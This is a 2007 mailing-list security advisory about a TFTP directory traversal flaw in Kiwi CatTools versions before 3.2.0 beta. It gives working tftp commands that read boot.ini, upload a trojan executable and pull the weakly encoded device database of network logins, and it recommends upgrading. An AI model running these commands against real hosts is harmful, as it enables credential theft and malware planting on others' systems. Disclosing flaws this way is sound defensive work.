Subject: TFTP directory traversal in Kiwi CatTools
From: Nicob <nicob@nicob.net.>
To: [email protected], [email protected],
[email protected]
Content-Type: text/plain
Date: Thu, 08 Feb 2007 23:28:56 +0100
Message-Id: <1170973736.30877.9.camel@localhost.>
Mime-Version: 1.0
X-Mailer: Evolution 2.8.1
Content-Transfer-Encoding: 7bit
X-Virus-Scanned: antivirus-gw at tyumen.ru
TFTP directory traversal in Kiwi CatTools
Application : Kiwi CatTools prior to 3.2.0 beta
Release Date : 8 February 2007
Author : Nicob <nicob at nicob.net>
Product :
=========
http://www.kiwisyslog.com/cattools-info.php :
"Kiwi CatTools is a freeware application that provides automated device
configuration management on routers, switches and firewalls."
A built-in TFTP server exists and a "encrypted device database" contains
IP addresses, logins and passwords for each configured device.
Vunerability :
==============
TFTP directory traversal :
tftp -i 10.11.12.13 GET a//..//..//..//..//..//boot.ini
tftp -i 10.11.12.13 PUT foo.exe a//..//trojan.exe
Note : the device database is only protected by a reversible encoding
and can be remotely accessed with "GET a//..//..//kiwidb-cattools.kdb".
Solution :
==========
Upgrade to version 3.2.0 beta or newer.
Nicob
